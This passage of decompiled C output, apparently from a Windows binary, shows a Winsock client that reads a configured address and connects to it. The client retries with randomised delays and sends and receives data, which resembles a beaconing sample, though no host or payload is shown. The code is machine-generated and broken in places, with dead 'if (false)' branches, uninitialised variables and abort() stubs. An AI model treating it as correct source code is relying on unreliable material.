  5293. strncpy(&str, (char *)&g54, (int32_t)(char *)16);
  5294. strcat(&str, g26);
  5295. strcat(&str, (char *)(int32_t)&g58);
  5296. strcat(&str, g28);
  5297. strcat(&str, (char *)(int32_t)&g57);
  5298. len = strlen(&str);
  5299. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v2, len);
  5300. v15 = &v10;
  5301. v10 = v11;
  5302. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  5303. v8 = 0;
  5304. int32_t v16 = &g50; // 0x404183
  5305. // branch -> 0x404180
  5306. while (true) {
  5307. // 0x404180
  5308. g4 = v16;
  5309. function_402b58((int32_t)&v8);
  5310. v13 = __3f__3f_2_40_YAPAXI_40_Z(56);
  5311. g5 = v13;
  5312. int32_t v17;
  5313. if (v13 == 0) {
  5314. lab_0x4041bd:
  5315. // 0x4041bd
  5316. v17 = 0;
  5317. // branch -> 0x4041bf
  5318. } else {
  5319. lab_0x40419d:
  5320. // 0x40419d
  5321. _3f__3f_0_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(v15);
  5322. g4 = v13;
  5323. v17 = function_404343();
  5324. // branch -> 0x4041bf
  5325. }
  5326. // 0x4041bf
  5327. g5 = v17;
  5328. g4 = g7;
  5329. function_4026da(v17);
  5330. g4 = g7;
  5331. if ((char)function_4026a0() != 0) {
  5332. // 0x4041e0
  5333. g4 = g7;
  5334. int32_t v18 = function_401b5f(); // 0x4041e2
  5335. int32_t v19; // bp-64
  5336. int32_t v20 = &v19; // 0x4041fa
  5337. // branch -> 0x4041e9
  5338. while (true) {
  5339. // 0x4041e9
  5340. int32_t v21; // 0x404315
  5341. if (false) {
  5342. // 0x4041f5
  5343. v19 = (int32_t)v10 | v18 & -256;
  5344. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  5345. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v15, 0, 0x7164);
  5346. g4 = g7;
  5347. function_402b58(v15);
  5348. if ((char)_3f__3f_9std_40__40_YA_NABV_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_0_40_0_40_Z(v15, v20) != 0) {
  5349. lab_0x40424c:
  5350. // 0x40424c
  5351. if (g37 == 0) {
  5352. // 0x404259
  5353. __pseudo_call(*(int32_t *)(*(int32_t *)g5 + 8));
  5354. g4 = g7;
  5355. function_4026ae();
  5356. g37 = 0;
  5357. g4 = g7;
  5358. function_402756();
  5359. g4 = g7;
  5360. function_402d95();
  5361. Sleep(0x2710);
  5362. // branch -> 0x404287
  5363. while (true) {
  5364. int32_t v22 = g5; // 0x404287
  5365. if (v22 != 0) {
  5366. // 0x40428b
  5367. __pseudo_call(*(int32_t *)*(int32_t *)v22);
  5368. // branch -> 0x404293
  5369. }
  5370. int32_t v23 = __3f__3f_2_40_YAPAXI_40_Z(56); // 0x404295
  5371. g5 = v23;
  5372. int32_t v24;
  5373. if (v23 == 0) {
  5374. // 0x4042bf
  5375. v24 = 0;
  5376. // branch -> 0x4042c1
  5377. } else {
  5378. // 0x4042a1
  5379. _3f__3f_0_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(v15);
  5380. g4 = v23;
  5381. v24 = function_404343();
  5382. // branch -> 0x4042c1
  5383. }
  5384. // 0x4042c1
  5385. g4 = g7;
  5386. g5 = v24;
  5387. function_4026da(v24);
  5388. g4 = g7;
  5389. int32_t v25 = function_4026a0(); // 0x4042cd
  5390. g4 = g7;
  5391. if ((char)v25 != 0) {
  5392. // 0x4042e7
  5393. function_401b5f();
  5394. // branch -> 0x4042ee
  5395. lab_0x4042ee:
  5396. // 0x4042ee
  5397. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5398. // branch -> 0x4042fb
  5399. lab_0x4042fb:
  5400. // 0x4042fb
  5401. if (g51 == 0) {
  5402. lab_0x404304:
  5403. // 0x404304
  5404. Sleep(1000);
  5405. // branch -> 0x4041e9
  5406. break;
  5407. }
  5408. // 0x404315
  5409. v21 = g5;
  5410. if (v21 != 0) {
  5411. // 0x404319
  5412. __pseudo_call(*(int32_t *)*(int32_t *)v21);
  5413. // branch -> 0x404321
  5414. }
  5415. // 0x404321
  5416. WSACleanup();
  5417. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5418. // branch -> 0x404332
  5419. // 0x404332
  5420. __3f__3f_1CFile_40__40_UAE_40_XZ();
  5421. // branch -> 0x40433a
  5422. // 0x40433a
  5423. return 0;
  5424. }
  5425. // 0x4042d6
  5426. function_402b58(v15);
  5427. // branch -> 0x404287
  5428. }
  5429. }
  5430. } else {
  5431. // 0x404242
  5432. if (v8 == (int16_t)g3) {
  5433. goto lab_0x4042ee;
  5434. }
  5435. goto lab_0x40424c;
  5436. }
  5437. // 0x4042ee
  5438. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5439. // branch -> 0x4042fb
  5440. goto lab_0x4042fb;
  5441. }
  5442. // 0x4042fb
  5443. if (g51 == 0) {
  5444. goto lab_0x404304;
  5445. }
  5446. // 0x404315
  5447. v21 = g5;
  5448. if (v21 != 0) {
  5449. // 0x404319
  5450. __pseudo_call(*(int32_t *)*(int32_t *)v21);
  5451. // branch -> 0x404321
  5452. }
  5453. // 0x404321
  5454. WSACleanup();
  5455. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5456. // branch -> 0x404332
  5457. // 0x404332
  5458. __3f__3f_1CFile_40__40_UAE_40_XZ();
  5459. // branch -> 0x40433a
  5460. // 0x40433a
  5461. return 0;
  5462. }
  5463. } else {
  5464. int32_t v26 = g5; // 0x4041d2
  5465. if (v26 != 0) {
  5466. // 0x4041d6
  5467. __pseudo_call(*(int32_t *)*(int32_t *)v26);
  5468. // branch -> 0x404180
  5469. }
  5470. // 0x404180
  5471. v16 = g7;
  5472. // branch -> 0x404180
  5473. continue;
  5474. }
  5475. }
  5476. } else {
  5477. // 0x40405c
  5478. CloseHandle((int32_t *)hObject);
  5479. // branch -> 0x404332
  5480. }
  5481. // 0x404332
  5482. __3f__3f_1CFile_40__40_UAE_40_XZ();
  5483. // branch -> 0x40433a
  5484. // 0x40433a
  5485. return 0;
  5486. }
  5487. // 0x404068
  5488. time_val = time((int32_t *)lpMutexAttributes);
  5489. srand(time_val);
  5490. function_403bca();
  5491. memcpy(&g39, &g55, 16);
  5492. memcpy((int32_t *)&g40, (int32_t *)&g57, 16);
  5493. memcpy((int32_t *)&g42, (int32_t *)&g58, 64);
  5494. memcpy(&g43, (int32_t *)&g59, 64);
  5495. memcpy((int32_t *)&g44, (int32_t *)&g60, 32);
  5496. memcpy((int32_t *)&g45, (int32_t *)&g61, 32);
  5497. memcpy(&g41, (int32_t *)"direct", 16);
  5498. str = 0;
  5499. v14 = &v9;
  5500. _memset((char *)&v9, 0, 15);
  5501. v9 = 0;
  5502. v12 = v14 + 2;
  5503. *(char *)v12 = 0;
  5504. g5 = v12 + 1;
  5505. strncpy(&str, (char *)&g54, (int32_t)(char *)16);
  5506. strcat(&str, g26);
  5507. strcat(&str, (char *)(int32_t)&g58);
  5508. strcat(&str, g28);
  5509. strcat(&str, (char *)(int32_t)&g57);
  5510. len = strlen(&str);
  5511. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z(v2, len);
  5512. v15 = &v10;
  5513. v10 = v11;
  5514. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  5515. v8 = 0;
  5516. // branch -> 0x404180
  5517. while (true) {
  5518. // 0x404180
  5519. g4 = &g50;
  5520. function_402b58((int32_t)&v8);
  5521. v13 = __3f__3f_2_40_YAPAXI_40_Z(56);
  5522. g5 = v13;
  5523. if (v13 == 0) {
  5524. goto lab_0x4041bd;
  5525. }
  5526. goto lab_0x40419d;
  5527. }
  5528. }
  5529.  
  5530. // Address range: 0x404343 - 0x4043d2
  5531. int32_t function_404343(void) {
  5532. // 0x404343
  5533. function_404b60();
  5534. int32_t v1 = g4; // 0x40434d
  5535. int32_t v2 = g7; // 0x40434e
  5536. g7 = v1;
  5537. *(int32_t *)(g2 - 16) = v1;
  5538. *(int32_t *)(g2 - 4) = 0;
  5539. *(int32_t *)g7 = (int32_t)&g15;
  5540. g4 = g7 + 4;
  5541. *(char *)(g2 - 4) = 1;
  5542. int32_t v3 = function_4043d3(g5, v2, v1); // 0x404366
  5543. int32_t v4 = (int32_t)*(char *)(g2 + 27) | v3 & -256; // eax
  5544. *(char *)(g2 - 4) = 2;
  5545. *(char *)(g7 + 8) = (char)v4;
  5546. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  5547. *(int32_t *)g7 = (int32_t)&g14;
  5548. *(char *)(g2 - 4) = 3;
  5549. int32_t v5 = g2 + 8; // 0x404394
  5550. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, 0, 0x7164);
  5551. *(int16_t *)(g7 + 24) = *(int16_t *)(g2 + 24);
  5552. InitializeCriticalSection((struct _RTL_CRITICAL_SECTION *)(g7 + 28));
  5553. *(int32_t *)(g2 - 4) = -1;
  5554. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5555. g7 = v5;
  5556. abort();
  5557. // UNREACHABLE
  5558. }
  5559.  
  5560. // Address range: 0x4043d3 - 0x40441d
  5561. int32_t function_4043d3(int32_t a1, int32_t a2, int32_t a3) {
  5562. int32_t v1 = g2; // 0x4043d3
  5563. int32_t v2 = g7; // 0x4043dc
  5564. InitializeCriticalSection((struct _RTL_CRITICAL_SECTION *)&g62);
  5565. char v3 = 0; // bp-404
  5566. if (WSAStartup(257, (struct WSAData *)&v3) != 0) {
  5567. // 0x404419
  5568. g7 = v2;
  5569. g2 = v1;
  5570. return g4;
  5571. }
  5572. // 0x404400
  5573. if (v3 != 1) {
  5574. // 0x404413
  5575. WSACleanup();
  5576. // branch -> 0x404419
  5577. // 0x404419
  5578. g7 = v2;
  5579. g2 = v1;
  5580. return g4;
  5581. }
  5582. // 0x404409
  5583. char v4;
  5584. if (v4 != 1) {
  5585. // 0x404413
  5586. WSACleanup();
  5587. // branch -> 0x404419
  5588. }
  5589. // 0x404419
  5590. g7 = v2;
  5591. g2 = v1;
  5592. return g4;
  5593. }
  5594.  
  5595. // Address range: 0x40441e - 0x404428
  5596. void function_40441e(struct _RTL_CRITICAL_SECTION * lpCriticalSection) {
  5597. // 0x40441e
  5598. DeleteCriticalSection(lpCriticalSection);
  5599. }
  5600.  
  5601. // Address range: 0x404429 - 0x40442e
  5602. int32_t _WSACleanup(void) {
  5603. // 0x404429
  5604. return WSACleanup();
  5605. }
  5606.  
  5607. // Address range: 0x40442f - 0x404435
  5608. int32_t function_40442f(void) {
  5609. // 0x40442f
  5610. *(int32_t *)g4 = (int32_t)&g15;
  5611. return g1;
  5612. }
  5613.  
  5614. // Address range: 0x404436 - 0x404452
  5615. int32_t function_404436(char a1) {
  5616. // 0x404436
  5617. *(int32_t *)g4 = (int32_t)&g15;
  5618. if ((a1 & 1) != 0) {
  5619. // 0x404446
  5620. __3f__3f_3_40_YAXPAX_40_Z(g4);
  5621. // branch -> 0x40444d
  5622. }
  5623. // 0x40444d
  5624. return g4;
  5625. }
  5626.  
  5627. // Address range: 0x404453 - 0x40448b
  5628. int32_t function_404453(void) {
  5629. // 0x404453
  5630. _3f__3f_0_3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(g4 + 8);
  5631. int32_t v1 = function_404791(); // 0x40446f
  5632. char * v2 = (char *)(g7 + 52); // 0x404483
  5633. int32_t result;
  5634. if ((char)v1 == 0) {
  5635. // 0x404483
  5636. *v2 = 0;
  5637. result = v1 & -256;
  5638. // branch -> 0x404489
  5639. } else {
  5640. // 0x40447b
  5641. *v2 = 1;
  5642. result = v1 & -256 | 1;
  5643. // branch -> 0x404489
  5644. }
  5645. // 0x404489
  5646. return result;
  5647. }
  5648.  
  5649. // Address range: 0x40448c - 0x40449b
  5650. int32_t function_40448c(void) {
  5651. int32_t v1 = closesocket(g7); // 0x40448f
  5652. *(char *)(g4 + 52) = 0;
  5653. return v1 & -256 | 1;
  5654. }
  5655.  
  5656. // Address range: 0x40449c - 0x40449f
  5657. int32_t function_40449c(void) {
  5658. // 0x40449c
  5659. return g1 & -256 | (int32_t)*(char *)(g4 + 52);
  5660. }
  5661.  
  5662. // Address range: 0x4044a0 - 0x4044f0
  5663. int32_t function_4044a0(void) {
  5664. // 0x4044a0
  5665. function_404b60();
  5666. *(int32_t *)(g2 - 4) = 0;
  5667. int32_t v1; // bp-28
  5668. *(int32_t *)(g2 + 12) = (int32_t)&v1;
  5669. int32_t v2 = g2 + 16; // 0x4044c0
  5670. _3f__3f_0_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(v2);
  5671. function_404602();
  5672. *(int32_t *)(g2 - 4) = -1;
  5673. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5674. abort();
  5675. // UNREACHABLE
  5676. }
  5677.  
  5678. // Address range: 0x4044f1 - 0x404541
  5679. int32_t function_4044f1(void) {
  5680. // 0x4044f1
  5681. function_404b60();
  5682. *(int32_t *)(g2 - 4) = 0;
  5683. int32_t v1; // bp-28
  5684. *(int32_t *)(g2 + 12) = (int32_t)&v1;
  5685. int32_t v2 = g2 + 16; // 0x404511
  5686. _3f__3f_0_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAE_40_ABV01_40__40_Z(v2);
  5687. function_404699();
  5688. *(int32_t *)(g2 - 4) = -1;
  5689. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5690. abort();
  5691. // UNREACHABLE
  5692. }
  5693.  
  5694. // Address range: 0x404542 - 0x40455d
  5695. int32_t function_404542(char a1) {
  5696. // 0x404542
  5697. function_40455e(g7);
  5698. if ((a1 & 1) != 0) {
  5699. // 0x404551
  5700. __3f__3f_3_40_YAXPAX_40_Z(g7);
  5701. // branch -> 0x404558
  5702. }
  5703. // 0x404558
  5704. return g7;
  5705. }
  5706.  
  5707. // Address range: 0x40455e - 0x4045b4
  5708. int32_t function_40455e(int32_t a1) {
  5709. // 0x40455e
  5710. function_404b60();
  5711. *(int32_t *)(g2 - 16) = g4;
  5712. *(int32_t *)g4 = (int32_t)&g14;
  5713. *(int32_t *)(g2 - 4) = 1;
  5714. DeleteCriticalSection((struct _RTL_CRITICAL_SECTION *)(g4 + 28));
  5715. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5716. DeleteCriticalSection((struct _RTL_CRITICAL_SECTION *)&g62);
  5717. WSACleanup();
  5718. *(int32_t *)g4 = (int32_t)&g15;
  5719. g7 = g5;
  5720. abort();
  5721. // UNREACHABLE
  5722. }
  5723.  
  5724. // Address range: 0x4045b5 - 0x4045be
  5725. int32_t function_4045b5(void) {
  5726. // 0x4045b5
  5727. function_4045bf();
  5728. return function_4045d8();
  5729. }
  5730.  
  5731. // Address range: 0x4045bf - 0x4045d7
  5732. int32_t function_4045bf(void) {
  5733. // 0x4045bf
  5734. return _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  5735. }
  5736.  
  5737. // Address range: 0x4045d8 - 0x404601
  5738. int32_t function_4045d8(void) {
  5739. // 0x4045d8
  5740. return function_404ac4(0x4045e4);
  5741. }
  5742.  
  5743. // Address range: 0x404602 - 0x404698
  5744. int32_t function_404602(void) {
  5745. // 0x404602
  5746. function_404b60();
  5747. *(int32_t *)(g2 - 4) = 0;
  5748. EnterCriticalSection((struct _RTL_CRITICAL_SECTION *)&g62);
  5749. int32_t v1; // bp-28
  5750. *(int32_t *)(g2 - 16) = (int32_t)&v1;
  5751. int32_t * v2;
  5752. v1 = (int32_t)*(char *)(g2 + 8) | (int32_t)&v2 & -256;
  5753. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(0);
  5754. int32_t v3 = *(int32_t *)*(int32_t *)0x4060b4; // 0x40463d
  5755. int32_t v4 = g2 + 8; // 0x40463f
  5756. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v4, 0, v3);
  5757. function_404715();
  5758. char * sock = g63; // 0x404650
  5759. if (sock != NULL) {
  5760. int32_t buf = *(int32_t *)(g2 + 24); // 0x404660
  5761. int32_t length = *(int32_t *)(g2 + 28); // 0x404665
  5762. recv((int32_t)sock, (char *)*(int32_t *)buf, length, 0);
  5763. LeaveCriticalSection((struct _RTL_CRITICAL_SECTION *)g7);
  5764. // branch -> 0x40467a
  5765. }
  5766. // 0x40467a
  5767. *(int32_t *)(g2 - 4) = -1;
  5768. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5769. abort();
  5770. // UNREACHABLE
  5771. }
  5772.  
  5773. // Address range: 0x404699 - 0x404714
  5774. int32_t function_404699(void) {
  5775. int32_t v1 = function_404b60(); // 0x40469e
  5776. int32_t v2 = 0; // edi
  5777. int32_t v3; // bp-28
  5778. *(int32_t *)(g2 - 16) = (int32_t)&v3;
  5779. *(int32_t *)(g2 - 4) = v2;
  5780. v3 = (int32_t)*(char *)(g2 + 8) | v1 & -256;
  5781. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(v2);
  5782. int32_t v4 = *(int32_t *)*(int32_t *)0x4060b4; // 0x4046c8
  5783. int32_t v5 = g2 + 8; // 0x4046ca
  5784. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, v2, v4);
  5785. function_404715();
  5786. int32_t sock = (int32_t)g63; // 0x4046da
  5787. int32_t flags = g5; // 0x4046e2
  5788. if (sock != flags) {
  5789. int32_t buf = *(int32_t *)(g2 + 24); // 0x4046ea
  5790. g5 = send(sock, (char *)buf, *(int32_t *)(g2 + 28), flags);
  5791. // branch -> 0x4046f6
  5792. }
  5793. // 0x4046f6
  5794. *(int32_t *)(g2 - 4) = -1;
  5795. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5796. abort();
  5797. // UNREACHABLE
  5798. }
  5799.  
  5800. // Address range: 0x404715 - 0x404781
  5801. int32_t function_404715(void) {
  5802. // 0x404715
  5803. function_404b60();
  5804. *(int32_t *)(g2 - 4) = 0;
  5805. int32_t v1 = *(int32_t *)(g2 + 12); // 0x404729
  5806. int32_t v2; // 0x404732
  5807. if (v1 == 0) {
  5808. // 0x40472d
  5809. v2 = *(int32_t *)0x4060a8;
  5810. // branch -> 0x404732
  5811. } else {
  5812. v2 = v1;
  5813. }
  5814. int32_t v3 = function_4048c0(g2 - 28, v2); // 0x404737
  5815. *(char *)(g2 - 4) = 1;
  5816. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v3, 0, 0x7164);
  5817. *(char *)(g2 - 4) = 0;
  5818. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5819. *(int32_t *)(g2 - 4) = -1;
  5820. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5821. abort();
  5822. // UNREACHABLE
  5823. }
  5824.  
  5825. // Address range: 0x404782 - 0x404790
  5826. int32_t function_404782(int32_t s) {
  5827. // 0x404782
  5828. return closesocket(s) & -256 | 1;
  5829. }
  5830.  
  5831. // Address range: 0x404791 - 0x4048bf
  5832. int32_t function_404791(void) {
  5833. // 0x404791
  5834. function_404b60();
  5835. *(int32_t *)(g2 - 4) = 0;
  5836. g63 = (char *)0;
  5837. int32_t sock_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); // 0x4047b0
  5838. int32_t option_value = g2 - 16; // 0x4047bc
  5839. int32_t level = 0xffff; // bp-72
  5840. int32_t v1 = &level; // 0x4047d1
  5841. char * v2 = (char *)sock_fd; // 0x4047d2
  5842. char * sock = v2; // bp-76
  5843. g63 = v2;
  5844. *(int32_t *)option_value = 0x9d00;
  5845. setsockopt((int32_t)sock, level, 0x1001, (char *)option_value, 4);
  5846. int32_t option_value2 = g2 - 20; // 0x4047dd
  5847. level = 0xffff;
  5848. *(int32_t *)option_value2 = 0x9d00;
  5849. int32_t sock2 = *(int32_t *)&g63; // 0x4047ec5
  5850. *(int32_t *)&sock = sock2;
  5851. int32_t v3 = setsockopt(sock2, level, 0x1002, (char *)option_value2, 4); // 0x4047f2
  5852. int32_t v4 = 0; // edi
  5853. *(int32_t *)(g2 - 24) = v1;
  5854. *(int16_t *)(g2 - 40) = 2;
  5855. sock = (char *)v4;
  5856. level = (int32_t)*(char *)(g2 + 8) | v3 & -256;
  5857. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(v4);
  5858. int32_t v5 = g2 + 8; // 0x40481b
  5859. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, v4, 0x7164);
  5860. function_40497c(g2 - 56);
  5861. int32_t v6 = *(int32_t *)(g2 - 52); // 0x404832
  5862. int32_t v7 = v6; // 0x40483e
  5863. if (v6 == g5) {
  5864. // 0x404839
  5865. v7 = *(int32_t *)0x4060a8;
  5866. // branch -> 0x40483e
  5867. }
  5868. char * cp = (char *)v7; // 0x40483e
  5869. sock = cp;
  5870. int32_t v8 = inet_addr(cp); // 0x40483f
  5871. sock = (char *)*(int32_t *)(g2 + 24);
  5872. *(int32_t *)(g2 - 36) = v8;
  5873. *(int16_t *)(g2 - 38) = htons((int16_t)(int32_t)sock);
  5874. int32_t v9 = 0x30d40; // esi
  5875. // branch -> 0x40485a
  5876. while (true) {
  5877. // 0x40485a
  5878. sock = (char *)16;
  5879. if (connect(*(int32_t *)&g63, (struct sockaddr *)(g2 - 40), 16) != -1) {
  5880. // 0x4048bc
  5881. // branch -> 0x40488d
  5882. // 0x40488d
  5883. *(char *)(g2 - 4) = 0;
  5884. sock = (char *)1;
  5885. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5886. *(int32_t *)(g2 - 4) = -1;
  5887. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5888. g7 = (int32_t)sock;
  5889. abort();
  5890. // UNREACHABLE
  5891. }
  5892. int32_t v10 = rand(); // 0x404871
  5893. int64_t v11 = 0x100000000 * (int64_t)(v10 >> 31) | (int64_t)v10; // 0x40487a
  5894. int32_t dwMilliseconds = (int32_t)(v11 % (int64_t)v9) + v9; // 0x40487c
  5895. sock = (char *)dwMilliseconds;
  5896. Sleep(dwMilliseconds);
  5897. int32_t v12 = g5 + 1; // 0x404885
  5898. g5 = v12;
  5899. if (v12 >= 10) {
  5900. // break -> 0x40488b
  5901. break;
  5902. }
  5903. // continue -> 0x40485a
  5904. }
  5905. // 0x40488b
  5906. // branch -> 0x40488d
  5907. // 0x40488d
  5908. *(char *)(g2 - 4) = 0;
  5909. sock = (char *)1;
  5910. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5911. *(int32_t *)(g2 - 4) = -1;
  5912. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(1);
  5913. g7 = (int32_t)sock;
  5914. abort();
  5915. // UNREACHABLE
  5916. }
  5917.  
  5918. // Address range: 0x4048c0 - 0x40497b
  5919. int32_t function_4048c0(int32_t a1, int32_t a2) {
  5920. // 0x4048c0
  5921. function_404b60();
  5922. int32_t CodePage = 0; // ebx
  5923. int16_t * lpWideCharStr = NULL; // bp-44
  5924. char * lpMultiByteStr = (char *)*(int32_t *)(g2 + 12); // bp-52
  5925. *(int32_t *)(g2 - 20) = 0;
  5926. int32_t cchWideChar = MultiByteToWideChar(CodePage, CodePage, lpMultiByteStr, -1, lpWideCharStr, 0); // 0x4048e4
  5927. int32_t v1 = __3f__3f_2_40_YAPAXI_40_Z(2 * cchWideChar); // 0x4048ec
  5928. *(int32_t *)(g2 - 16) = v1;
  5929. int16_t * lpWideCharStr2 = (int16_t *)v1; // 0x4048f6
  5930. lpWideCharStr = lpWideCharStr2;
  5931. char * lpMultiByteStr2 = (char *)*(int32_t *)(g2 + 12); // 0x4048f9
  5932. MultiByteToWideChar(CodePage, CodePage, lpMultiByteStr2, -1, lpWideCharStr2, cchWideChar);
  5933. *(char *)(g2 - 36) = *(char *)(g2 + 15);
  5934. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z(CodePage);
  5935. int16_t * wstr = (int16_t *)*(int32_t *)(g2 - 16); // 0x404910
  5936. lpWideCharStr = wstr;
  5937. int32_t v2 = wcslen(wstr); // 0x404913
  5938. *(int32_t *)&lpWideCharStr = v2;
  5939. int32_t v3 = *(int32_t *)(g2 - 16); // 0x40491e
  5940. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_PBGI_40_Z(v3, v2);
  5941. int32_t v4 = 1; // esi
  5942. *(int32_t *)(g2 - 4) = 1;
  5943. __3f__3f_3_40_YAXPAX_40_Z((int32_t)(char *)*(int32_t *)(g2 - 16));
  5944. *(char *)*(int32_t *)(g2 + 8) = *(char *)(g2 - 36);
  5945. _3f__Tidy_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)(char *)CodePage);
  5946. int32_t v5 = g2 - 36; // 0x404950
  5947. _3f_assign_40__3f__24_basic_string_40_GU_3f__24_char_traits_40_G_40_std_40__40_V_3f__24_allocator_40_G_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(v5, CodePage, 0x7164);
